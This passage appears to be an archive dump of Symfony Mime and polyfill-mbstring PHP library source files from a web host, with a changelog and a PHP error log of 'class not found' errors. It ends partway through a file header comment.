the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Part; use Symfony\Component\Mime\MimeTypes; /** * @author Fabien Potencier */ class File { private static $mimeTypes; public function __construct( private string $path, private ?string $filename = null, ) { } public function getPath(): string { return $this->path; } public function getContentType(): string { $ext = strtolower(pathinfo($this->path, \PATHINFO_EXTENSION)); self::$mimeTypes ??= new MimeTypes(); return self::$mimeTypes->getMimeTypes($ext)[0] ?? 'application/octet-stream'; } public function getSize(): int { return filesize($this->path); } public function getFilename(): string { return $this->filename ??= basename($this->getPath()); } } mime/Part/TextPart.php000064400000015743151113512110010666 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Part; use Symfony\Component\Mime\Encoder\Base64ContentEncoder; use Symfony\Component\Mime\Encoder\ContentEncoderInterface; use Symfony\Component\Mime\Encoder\EightBitContentEncoder; use Symfony\Component\Mime\Encoder\QpContentEncoder; use Symfony\Component\Mime\Exception\InvalidArgumentException; use Symfony\Component\Mime\Header\Headers; /** * @author Fabien Potencier */ class TextPart extends AbstractPart { /** @internal */ protected $_headers; private static $encoders = []; private $body; private $charset; private $subtype; /** * @var ?string */ private $disposition; private $name; private $encoding; private $seekable; /** * @param resource|string|File $body Use a File instance to defer loading the file until rendering */ public function __construct($body, ?string $charset = 'utf-8', string $subtype = 'plain', string $encoding = null) { unset($this->_headers); parent::__construct(); if (!\is_string($body) && !\is_resource($body) && !$body instanceof File) { throw new \TypeError(sprintf('The body of "%s" must be a string, a resource, or an instance of "%s" (got "%s").', self::class, File::class, get_debug_type($body))); } if ($body instanceof File) { $path = $body->getPath(); if ((is_file($path) && !is_readable($path)) || is_dir($path)) { throw new InvalidArgumentException(sprintf('Path "%s" is not readable.', $path)); } } $this->body = $body; $this->charset = $charset; $this->subtype = $subtype; $this->seekable = \is_resource($body) ? stream_get_meta_data($body)['seekable'] && 0 === fseek($body, 0, \SEEK_CUR) : null; if (null === $encoding) { $this->encoding = $this->chooseEncoding(); } else { if ('quoted-printable' !== $encoding && 'base64' !== $encoding && '8bit' !== $encoding) { throw new InvalidArgumentException(sprintf('The encoding must be one of "quoted-printable", "base64", or "8bit" ("%s" given).', $encoding)); } $this->encoding = $encoding; } } public function getMediaType(): string { return 'text'; } public function getMediaSubtype(): string { return $this->subtype; } /** * @param string $disposition one of attachment, inline, or form-data * * @return $this */ public function setDisposition(string $disposition): static { $this->disposition = $disposition; return $this; } /** * @return ?string null or one of attachment, inline, or form-data */ public function getDisposition(): ?string { return $this->disposition; } /** * Sets the name of the file (used by FormDataPart). * * @return $this */ public function setName(string $name): static { $this->name = $name; return $this; } /** * Gets the name of the file. */ public function getName(): ?string { return $this->name; } public function getBody(): string { if ($this->body instanceof File) { return file_get_contents($this->body->getPath()); } if (null === $this->seekable) { return $this->body; } if ($this->seekable) { rewind($this->body); } return stream_get_contents($this->body) ?: ''; } public function bodyToString(): string { return $this->getEncoder()->encodeString($this->getBody(), $this->charset); } public function bodyToIterable(): iterable { if ($this->body instanceof File) { $path = $this->body->getPath(); if (false === $handle = @fopen($path, 'r', false)) { throw new InvalidArgumentException(sprintf('Unable to open path "%s".', $path)); } yield from $this->getEncoder()->encodeByteStream($handle); } elseif (null !== $this->seekable) { if ($this->seekable) { rewind($this->body); } yield from $this->getEncoder()->encodeByteStream($this->body); } else { yield $this->getEncoder()->encodeString($this->body); } } public function getPreparedHeaders(): Headers { $headers = parent::getPreparedHeaders(); $headers->setHeaderBody('Parameterized', 'Content-Type', $this->getMediaType().'/'.$this->getMediaSubtype()); if ($this->charset) { $headers->setHeaderParameter('Content-Type', 'charset', $this->charset); } if ($this->name && 'form-data' !== $this->disposition) { $headers->setHeaderParameter('Content-Type', 'name', $this->name); } $headers->setHeaderBody('Text', 'Content-Transfer-Encoding', $this->encoding); if (!$headers->has('Content-Disposition') && null !== $this->disposition) { $headers->setHeaderBody('Parameterized', 'Content-Disposition', $this->disposition); if ($this->name) { $headers->setHeaderParameter('Content-Disposition', 'name', $this->name); } } return $headers; } public function asDebugString(): string { $str = parent::asDebugString(); if (null !== $this->charset) { $str .= ' charset: '.$this->charset; } if (null !== $this->disposition) { $str .= ' disposition: '.$this->disposition; } return $str; } private function getEncoder(): ContentEncoderInterface { if ('8bit' === $this->encoding) { return self::$encoders[$this->encoding] ??= new EightBitContentEncoder(); } if ('quoted-printable' === $this->encoding) { return self::$encoders[$this->encoding] ??= new QpContentEncoder(); } return self::$encoders[$this->encoding] ??= new Base64ContentEncoder(); } private function chooseEncoding(): string { if (null === $this->charset) { return 'base64'; } return 'quoted-printable'; } public function __sleep(): array { // convert resources to strings for serialization if (null !== $this->seekable) { $this->body = $this->getBody(); $this->seekable = null; } $this->_headers = $this->getHeaders(); return ['_headers', 'body', 'charset', 'subtype', 'disposition', 'name', 'encoding']; } public function __wakeup() { $r = new \ReflectionProperty(AbstractPart::class, 'headers'); $r->setValue($this, $this->_headers); unset($this->_headers); } } mime/Part/MessagePart.php000064400000002623151113512110011317 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Part; use Symfony\Component\Mime\Message; use Symfony\Component\Mime\RawMessage; /** * @final * * @author Fabien Potencier */ class MessagePart extends DataPart { private $message; public function __construct(RawMessage $message) { if ($message instanceof Message) { $name = $message->getHeaders()->getHeaderBody('Subject').'.eml'; } else { $name = 'email.eml'; } parent::__construct('', $name); $this->message = $message; } public function getMediaType(): string { return 'message'; } public function getMediaSubtype(): string { return 'rfc822'; } public function getBody(): string { return $this->message->toString(); } public function bodyToString(): string { return $this->getBody(); } public function bodyToIterable(): iterable { return $this->message->toIterable(); } public function __sleep(): array { return ['message']; } public function __wakeup() { $this->__construct($this->message); } } mime/Part/Multipart/AlternativePart.php000064400000001047151113512110014171 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Part\Multipart; use Symfony\Component\Mime\Part\AbstractMultipartPart; /** * @author Fabien Potencier */ final class AlternativePart extends AbstractMultipartPart { public function getMediaSubtype(): string { return 'alternative'; } } mime/Part/Multipart/RelatedPart.php000064400000002553151113512120013277 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Part\Multipart; use Symfony\Component\Mime\Part\AbstractMultipartPart; use Symfony\Component\Mime\Part\AbstractPart; /** * @author Fabien Potencier */ final class RelatedPart extends AbstractMultipartPart { private $mainPart; public function __construct(AbstractPart $mainPart, AbstractPart $part, AbstractPart ...$parts) { $this->mainPart = $mainPart; $this->prepareParts($part, ...$parts); parent::__construct($part, ...$parts); } public function getParts(): array { return array_merge([$this->mainPart], parent::getParts()); } public function getMediaSubtype(): string { return 'related'; } private function generateContentId(): string { return bin2hex(random_bytes(16)).'@symfony'; } private function prepareParts(AbstractPart ...$parts): void { foreach ($parts as $part) { if (!$part->getHeaders()->has('Content-ID')) { $part->getHeaders()->setHeaderBody('Id', 'Content-ID', $this->generateContentId()); } } } } mime/Part/Multipart/FormDataPart.php000064400000006244151113512120013415 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Part\Multipart; use Symfony\Component\Mime\Exception\InvalidArgumentException; use Symfony\Component\Mime\Part\AbstractMultipartPart; use Symfony\Component\Mime\Part\DataPart; use Symfony\Component\Mime\Part\TextPart; /** * Implements RFC 7578. * * @author Fabien Potencier */ final class FormDataPart extends AbstractMultipartPart { private $fields = []; /** * @param array $fields */ public function __construct(array $fields = []) { parent::__construct(); foreach ($fields as $name => $value) { if (!\is_string($value) && !\is_array($value) && !$value instanceof TextPart) { throw new InvalidArgumentException(sprintf('The value of the form field "%s" can only be a string, an array, or an instance of TextPart ("%s" given).', $name, get_debug_type($value))); } $this->fields[$name] = $value; } // HTTP does not support \r\n in header values $this->getHeaders()->setMaxLineLength(\PHP_INT_MAX); } public function getMediaSubtype(): string { return 'form-data'; } public function getParts(): array { return $this->prepareFields($this->fields); } private function prepareFields(array $fields): array { $values = []; $prepare = function ($item, $key, $root = null) use (&$values, &$prepare) { if (null === $root && \is_int($key) && \is_array($item)) { if (1 !== \count($item)) { throw new InvalidArgumentException(sprintf('Form field values with integer keys can only have one array element, the key being the field name and the value being the field value, %d provided.', \count($item))); } $key = key($item); $item = $item[$key]; } $fieldName = null !== $root ? sprintf('%s[%s]', $root, $key) : $key; if (\is_array($item)) { array_walk($item, $prepare, $fieldName); return; } $values[] = $this->preparePart($fieldName, $item); }; array_walk($fields, $prepare); return $values; } private function preparePart(string $name, string|TextPart $value): TextPart { if (\is_string($value)) { return $this->configurePart($name, new TextPart($value, 'utf-8', 'plain', '8bit')); } return $this->configurePart($name, $value); } private function configurePart(string $name, TextPart $part): TextPart { static $r; $r ??= new \ReflectionProperty(TextPart::class, 'encoding'); $part->setDisposition('form-data'); $part->setName($name); // HTTP does not support \r\n in header values $part->getHeaders()->setMaxLineLength(\PHP_INT_MAX); $r->setValue($part, '8bit'); return $part; } } mime/Part/Multipart/DigestPart.php000064400000001266151113512120013136 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Part\Multipart; use Symfony\Component\Mime\Part\AbstractMultipartPart; use Symfony\Component\Mime\Part\MessagePart; /** * @author Fabien Potencier */ final class DigestPart extends AbstractMultipartPart { public function __construct(MessagePart ...$parts) { parent::__construct(...$parts); } public function getMediaSubtype(): string { return 'digest'; } } mime/Part/Multipart/MixedPart.php000064400000001033151113512120012755 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Part\Multipart; use Symfony\Component\Mime\Part\AbstractMultipartPart; /** * @author Fabien Potencier */ final class MixedPart extends AbstractMultipartPart { public function getMediaSubtype(): string { return 'mixed'; } } mime/Part/SMimePart.php000064400000005020151113512120010740 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Part; use Symfony\Component\Mime\Header\Headers; /** * @author Sebastiaan Stok */ class SMimePart extends AbstractPart { /** @internal */ protected $_headers; private $body; private $type; private $subtype; private $parameters; public function __construct(iterable|string $body, string $type, string $subtype, array $parameters) { unset($this->_headers); parent::__construct(); $this->body = $body; $this->type = $type; $this->subtype = $subtype; $this->parameters = $parameters; } public function getMediaType(): string { return $this->type; } public function getMediaSubtype(): string { return $this->subtype; } public function bodyToString(): string { if (\is_string($this->body)) { return $this->body; } $body = ''; foreach ($this->body as $chunk) { $body .= $chunk; } $this->body = $body; return $body; } public function bodyToIterable(): iterable { if (\is_string($this->body)) { yield $this->body; return; } $body = ''; foreach ($this->body as $chunk) { $body .= $chunk; yield $chunk; } $this->body = $body; } public function getPreparedHeaders(): Headers { $headers = clone parent::getHeaders(); $headers->setHeaderBody('Parameterized', 'Content-Type', $this->getMediaType().'/'.$this->getMediaSubtype()); foreach ($this->parameters as $name => $value) { $headers->setHeaderParameter('Content-Type', $name, $value); } return $headers; } public function __sleep(): array { // convert iterables to strings for serialization if (is_iterable($this->body)) { $this->body = $this->bodyToString(); } $this->_headers = $this->getHeaders(); return ['_headers', 'body', 'type', 'subtype', 'parameters']; } public function __wakeup(): void { $r = new \ReflectionProperty(AbstractPart::class, 'headers'); $r->setValue($this, $this->_headers); unset($this->_headers); } } mime/Part/error_log000064400000010170151113512120010305 0ustar00[20-Nov-2025 04:54:20 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Part\AbstractPart" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/AbstractMultipartPart.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/AbstractMultipartPart.php on line 19 [20-Nov-2025 04:56:21 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Part\DataPart" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/MessagePart.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/MessagePart.php on line 22 [20-Nov-2025 09:39:52 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Part\AbstractPart" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/AbstractMultipartPart.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/AbstractMultipartPart.php on line 19 [20-Nov-2025 09:42:16 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Part\DataPart" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/MessagePart.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/MessagePart.php on line 22 [25-Nov-2025 02:56:44 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Part\AbstractPart" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/SMimePart.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/SMimePart.php on line 19 [25-Nov-2025 02:58:22 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Part\DataPart" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/MessagePart.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/MessagePart.php on line 22 [25-Nov-2025 03:28:10 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Part\AbstractPart" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/TextPart.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/TextPart.php on line 24 [25-Nov-2025 04:29:14 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Part\TextPart" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/DataPart.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/DataPart.php on line 20 [25-Nov-2025 23:06:56 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Part\DataPart" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/MessagePart.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/MessagePart.php on line 22 [25-Nov-2025 23:10:42 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Part\AbstractPart" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/TextPart.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/TextPart.php on line 24 [26-Nov-2025 01:21:12 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Part\AbstractPart" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/AbstractMultipartPart.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/AbstractMultipartPart.php on line 19 [26-Nov-2025 01:29:27 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Part\TextPart" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/DataPart.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/DataPart.php on line 20 [26-Nov-2025 01:35:47 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Part\AbstractPart" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/SMimePart.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/SMimePart.php on line 19 mime/Part/AbstractMultipartPart.php000064400000004333151113512120013401 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Part; use Symfony\Component\Mime\Header\Headers; /** * @author Fabien Potencier */ abstract class AbstractMultipartPart extends AbstractPart { private $boundary; private $parts = []; public function __construct(AbstractPart ...$parts) { parent::__construct(); foreach ($parts as $part) { $this->parts[] = $part; } } /** * @return AbstractPart[] */ public function getParts(): array { return $this->parts; } public function getMediaType(): string { return 'multipart'; } public function getPreparedHeaders(): Headers { $headers = parent::getPreparedHeaders(); $headers->setHeaderParameter('Content-Type', 'boundary', $this->getBoundary()); return $headers; } public function bodyToString(): string { $parts = $this->getParts(); $string = ''; foreach ($parts as $part) { $string .= '--'.$this->getBoundary()."\r\n".$part->toString()."\r\n"; } $string .= '--'.$this->getBoundary()."--\r\n"; return $string; } public function bodyToIterable(): iterable { $parts = $this->getParts(); foreach ($parts as $part) { yield '--'.$this->getBoundary()."\r\n"; yield from $part->toIterable(); yield "\r\n"; } yield '--'.$this->getBoundary()."--\r\n"; } public function asDebugString(): string { $str = parent::asDebugString(); foreach ($this->getParts() as $part) { $lines = explode("\n", $part->asDebugString()); $str .= "\n └ ".array_shift($lines); foreach ($lines as $line) { $str .= "\n |".$line; } } return $str; } private function getBoundary(): string { return $this->boundary ??= strtr(base64_encode(random_bytes(6)), '+/', '-_'); } } mime/CHANGELOG.md000064400000001647151113512120007304 0ustar00CHANGELOG ========= 6.3 --- * Support detection of related parts if `Content-Id` is used instead of the name * Add `TextPart::getDisposition()` 6.2 --- * Add `File` * Deprecate `Email::attachPart()`, use `addPart()` instead * Deprecate calling `Message::setBody()` without arguments 6.1 --- * Add `DataPart::getFilename()` and `DataPart::getContentType()` 6.0 --- * Remove `Address::fromString()`, use `Address::create()` instead * Remove `Serializable` interface from `RawMessage` 5.2.0 ----- * Add support for DKIM * Deprecated `Address::fromString()`, use `Address::create()` instead 4.4.0 ----- * [BC BREAK] Removed `NamedAddress` (`Address` now supports a name) * Added PHPUnit constraints * Added `AbstractPart::asDebugString()` * Added `Address::fromString()` 4.3.3 ----- * [BC BREAK] Renamed method `Headers::getAll()` to `Headers::all()`. 4.3.0 ----- * Introduced the component as experimental mime/MimeTypeGuesserInterface.php000064400000001472151113512120013110 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime; /** * Guesses the MIME type of a file. * * @author Fabien Potencier */ interface MimeTypeGuesserInterface { /** * Returns true if this guesser is supported. */ public function isGuesserSupported(): bool; /** * Guesses the MIME type of the file with the given path. * * @throws \LogicException If the guesser is not supported * @throws \InvalidArgumentException If the file does not exist or is not readable */ public function guessMimeType(string $path): ?string; } mime/MessageConverter.php000064400000012043151113512120011450 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime; use Symfony\Component\Mime\Exception\RuntimeException; use Symfony\Component\Mime\Part\DataPart; use Symfony\Component\Mime\Part\Multipart\AlternativePart; use Symfony\Component\Mime\Part\Multipart\MixedPart; use Symfony\Component\Mime\Part\Multipart\RelatedPart; use Symfony\Component\Mime\Part\TextPart; /** * @author Fabien Potencier */ final class MessageConverter { /** * @throws RuntimeException when unable to convert the message to an email */ public static function toEmail(Message $message): Email { if ($message instanceof Email) { return $message; } // try to convert to a "simple" Email instance $body = $message->getBody(); if ($body instanceof TextPart) { return self::createEmailFromTextPart($message, $body); } if ($body instanceof AlternativePart) { return self::createEmailFromAlternativePart($message, $body); } if ($body instanceof RelatedPart) { return self::createEmailFromRelatedPart($message, $body); } if ($body instanceof MixedPart) { $parts = $body->getParts(); if ($parts[0] instanceof RelatedPart) { $email = self::createEmailFromRelatedPart($message, $parts[0]); } elseif ($parts[0] instanceof AlternativePart) { $email = self::createEmailFromAlternativePart($message, $parts[0]); } elseif ($parts[0] instanceof TextPart) { $email = self::createEmailFromTextPart($message, $parts[0]); } else { throw new RuntimeException(sprintf('Unable to create an Email from an instance of "%s" as the body is too complex.', get_debug_type($message))); } return self::addParts($email, \array_slice($parts, 1)); } throw new RuntimeException(sprintf('Unable to create an Email from an instance of "%s" as the body is too complex.', get_debug_type($message))); } private static function createEmailFromTextPart(Message $message, TextPart $part): Email { if ('text' === $part->getMediaType() && 'plain' === $part->getMediaSubtype()) { return (new Email(clone $message->getHeaders()))->text($part->getBody(), $part->getPreparedHeaders()->getHeaderParameter('Content-Type', 'charset') ?: 'utf-8'); } if ('text' === $part->getMediaType() && 'html' === $part->getMediaSubtype()) { return (new Email(clone $message->getHeaders()))->html($part->getBody(), $part->getPreparedHeaders()->getHeaderParameter('Content-Type', 'charset') ?: 'utf-8'); } throw new RuntimeException(sprintf('Unable to create an Email from an instance of "%s" as the body is too complex.', get_debug_type($message))); } private static function createEmailFromAlternativePart(Message $message, AlternativePart $part): Email { $parts = $part->getParts(); if ( 2 === \count($parts) && $parts[0] instanceof TextPart && 'text' === $parts[0]->getMediaType() && 'plain' === $parts[0]->getMediaSubtype() && $parts[1] instanceof TextPart && 'text' === $parts[1]->getMediaType() && 'html' === $parts[1]->getMediaSubtype() ) { return (new Email(clone $message->getHeaders())) ->text($parts[0]->getBody(), $parts[0]->getPreparedHeaders()->getHeaderParameter('Content-Type', 'charset') ?: 'utf-8') ->html($parts[1]->getBody(), $parts[1]->getPreparedHeaders()->getHeaderParameter('Content-Type', 'charset') ?: 'utf-8') ; } throw new RuntimeException(sprintf('Unable to create an Email from an instance of "%s" as the body is too complex.', get_debug_type($message))); } private static function createEmailFromRelatedPart(Message $message, RelatedPart $part): Email { $parts = $part->getParts(); if ($parts[0] instanceof AlternativePart) { $email = self::createEmailFromAlternativePart($message, $parts[0]); } elseif ($parts[0] instanceof TextPart) { $email = self::createEmailFromTextPart($message, $parts[0]); } else { throw new RuntimeException(sprintf('Unable to create an Email from an instance of "%s" as the body is too complex.', get_debug_type($message))); } return self::addParts($email, \array_slice($parts, 1)); } private static function addParts(Email $email, array $parts): Email { foreach ($parts as $part) { if (!$part instanceof DataPart) { throw new RuntimeException(sprintf('Unable to create an Email from an instance of "%s" as the body is too complex.', get_debug_type($email))); } $email->addPart($part); } return $email; } } polyfill-mbstring/bootstrap80.php000064400000021541151113512120013112 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Mbstring as p; if (!function_exists('mb_convert_encoding')) { function mb_convert_encoding(array|string|null $string, ?string $to_encoding, array|string|null $from_encoding = null): array|string|false { return p\Mbstring::mb_convert_encoding($string ?? '', (string) $to_encoding, $from_encoding); } } if (!function_exists('mb_decode_mimeheader')) { function mb_decode_mimeheader(?string $string): string { return p\Mbstring::mb_decode_mimeheader((string) $string); } } if (!function_exists('mb_encode_mimeheader')) { function mb_encode_mimeheader(?string $string, ?string $charset = null, ?string $transfer_encoding = null, ?string $newline = "\r\n", ?int $indent = 0): string { return p\Mbstring::mb_encode_mimeheader((string) $string, $charset, $transfer_encoding, (string) $newline, (int) $indent); } } if (!function_exists('mb_decode_numericentity')) { function mb_decode_numericentity(?string $string, array $map, ?string $encoding = null): string { return p\Mbstring::mb_decode_numericentity((string) $string, $map, $encoding); } } if (!function_exists('mb_encode_numericentity')) { function mb_encode_numericentity(?string $string, array $map, ?string $encoding = null, ?bool $hex = false): string { return p\Mbstring::mb_encode_numericentity((string) $string, $map, $encoding, (bool) $hex); } } if (!function_exists('mb_convert_case')) { function mb_convert_case(?string $string, ?int $mode, ?string $encoding = null): string { return p\Mbstring::mb_convert_case((string) $string, (int) $mode, $encoding); } } if (!function_exists('mb_internal_encoding')) { function mb_internal_encoding(?string $encoding = null): string|bool { return p\Mbstring::mb_internal_encoding($encoding); } } if (!function_exists('mb_language')) { function mb_language(?string $language = null): string|bool { return p\Mbstring::mb_language($language); } } if (!function_exists('mb_list_encodings')) { function mb_list_encodings(): array { return p\Mbstring::mb_list_encodings(); } } if (!function_exists('mb_encoding_aliases')) { function mb_encoding_aliases(?string $encoding): array { return p\Mbstring::mb_encoding_aliases((string) $encoding); } } if (!function_exists('mb_check_encoding')) { function mb_check_encoding(array|string|null $value = null, ?string $encoding = null): bool { return p\Mbstring::mb_check_encoding($value, $encoding); } } if (!function_exists('mb_detect_encoding')) { function mb_detect_encoding(?string $string, array|string|null $encodings = null, ?bool $strict = false): string|false { return p\Mbstring::mb_detect_encoding((string) $string, $encodings, (bool) $strict); } } if (!function_exists('mb_detect_order')) { function mb_detect_order(array|string|null $encoding = null): array|bool { return p\Mbstring::mb_detect_order($encoding); } } if (!function_exists('mb_parse_str')) { function mb_parse_str(?string $string, &$result = []): bool { parse_str((string) $string, $result); return (bool) $result; } } if (!function_exists('mb_strlen')) { function mb_strlen(?string $string, ?string $encoding = null): int { return p\Mbstring::mb_strlen((string) $string, $encoding); } } if (!function_exists('mb_strpos')) { function mb_strpos(?string $haystack, ?string $needle, ?int $offset = 0, ?string $encoding = null): int|false { return p\Mbstring::mb_strpos((string) $haystack, (string) $needle, (int) $offset, $encoding); } } if (!function_exists('mb_strtolower')) { function mb_strtolower(?string $string, ?string $encoding = null): string { return p\Mbstring::mb_strtolower((string) $string, $encoding); } } if (!function_exists('mb_strtoupper')) { function mb_strtoupper(?string $string, ?string $encoding = null): string { return p\Mbstring::mb_strtoupper((string) $string, $encoding); } } if (!function_exists('mb_substitute_character')) { function mb_substitute_character(string|int|null $substitute_character = null): string|int|bool { return p\Mbstring::mb_substitute_character($substitute_character); } } if (!function_exists('mb_substr')) { function mb_substr(?string $string, ?int $start, ?int $length = null, ?string $encoding = null): string { return p\Mbstring::mb_substr((string) $string, (int) $start, $length, $encoding); } } if (!function_exists('mb_stripos')) { function mb_stripos(?string $haystack, ?string $needle, ?int $offset = 0, ?string $encoding = null): int|false { return p\Mbstring::mb_stripos((string) $haystack, (string) $needle, (int) $offset, $encoding); } } if (!function_exists('mb_stristr')) { function mb_stristr(?string $haystack, ?string $needle, ?bool $before_needle = false, ?string $encoding = null): string|false { return p\Mbstring::mb_stristr((string) $haystack, (string) $needle, (bool) $before_needle, $encoding); } } if (!function_exists('mb_strrchr')) { function mb_strrchr(?string $haystack, ?string $needle, ?bool $before_needle = false, ?string $encoding = null): string|false { return p\Mbstring::mb_strrchr((string) $haystack, (string) $needle, (bool) $before_needle, $encoding); } } if (!function_exists('mb_strrichr')) { function mb_strrichr(?string $haystack, ?string $needle, ?bool $before_needle = false, ?string $encoding = null): string|false { return p\Mbstring::mb_strrichr((string) $haystack, (string) $needle, (bool) $before_needle, $encoding); } } if (!function_exists('mb_strripos')) { function mb_strripos(?string $haystack, ?string $needle, ?int $offset = 0, ?string $encoding = null): int|false { return p\Mbstring::mb_strripos((string) $haystack, (string) $needle, (int) $offset, $encoding); } } if (!function_exists('mb_strrpos')) { function mb_strrpos(?string $haystack, ?string $needle, ?int $offset = 0, ?string $encoding = null): int|false { return p\Mbstring::mb_strrpos((string) $haystack, (string) $needle, (int) $offset, $encoding); } } if (!function_exists('mb_strstr')) { function mb_strstr(?string $haystack, ?string $needle, ?bool $before_needle = false, ?string $encoding = null): string|false { return p\Mbstring::mb_strstr((string) $haystack, (string) $needle, (bool) $before_needle, $encoding); } } if (!function_exists('mb_get_info')) { function mb_get_info(?string $type = 'all'): array|string|int|false { return p\Mbstring::mb_get_info((string) $type); } } if (!function_exists('mb_http_output')) { function mb_http_output(?string $encoding = null): string|bool { return p\Mbstring::mb_http_output($encoding); } } if (!function_exists('mb_strwidth')) { function mb_strwidth(?string $string, ?string $encoding = null): int { return p\Mbstring::mb_strwidth((string) $string, $encoding); } } if (!function_exists('mb_substr_count')) { function mb_substr_count(?string $haystack, ?string $needle, ?string $encoding = null): int { return p\Mbstring::mb_substr_count((string) $haystack, (string) $needle, $encoding); } } if (!function_exists('mb_output_handler')) { function mb_output_handler(?string $string, ?int $status): string { return p\Mbstring::mb_output_handler((string) $string, (int) $status); } } if (!function_exists('mb_http_input')) { function mb_http_input(?string $type = null): array|string|false { return p\Mbstring::mb_http_input($type); } } if (!function_exists('mb_convert_variables')) { function mb_convert_variables(?string $to_encoding, array|string|null $from_encoding, mixed &$var, mixed &...$vars): string|false { return p\Mbstring::mb_convert_variables((string) $to_encoding, $from_encoding ?? '', $var, ...$vars); } } if (!function_exists('mb_ord')) { function mb_ord(?string $string, ?string $encoding = null): int|false { return p\Mbstring::mb_ord((string) $string, $encoding); } } if (!function_exists('mb_chr')) { function mb_chr(?int $codepoint, ?string $encoding = null): string|false { return p\Mbstring::mb_chr((int) $codepoint, $encoding); } } if (!function_exists('mb_scrub')) { function mb_scrub(?string $string, ?string $encoding = null): string { $encoding ??= mb_internal_encoding(); return mb_convert_encoding((string) $string, $encoding, $encoding); } } if (!function_exists('mb_str_split')) { function mb_str_split(?string $string, ?int $length = 1, ?string $encoding = null): array { return p\Mbstring::mb_str_split((string) $string, (int) $length, $encoding); } } if (!function_exists('mb_str_pad')) { function mb_str_pad(string $string, int $length, string $pad_string = ' ', int $pad_type = STR_PAD_RIGHT, ?string $encoding = null): string { return p\Mbstring::mb_str_pad($string, $length, $pad_string, $pad_type, $encoding); } } if (extension_loaded('mbstring')) { return; } if (!defined('MB_CASE_UPPER')) { define('MB_CASE_UPPER', 0); } if (!defined('MB_CASE_LOWER')) { define('MB_CASE_LOWER', 1); } if (!defined('MB_CASE_TITLE')) { define('MB_CASE_TITLE', 2); } polyfill-mbstring/Mbstring.php000064400000076650151113512120012525 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Polyfill\Mbstring; /** * Partial mbstring implementation in PHP, iconv based, UTF-8 centric. * * Implemented: * - mb_chr - Returns a specific character from its Unicode code point * - mb_convert_encoding - Convert character encoding * - mb_convert_variables - Convert character code in variable(s) * - mb_decode_mimeheader - Decode string in MIME header field * - mb_encode_mimeheader - Encode string for MIME header XXX NATIVE IMPLEMENTATION IS REALLY BUGGED * - mb_decode_numericentity - Decode HTML numeric string reference to character * - 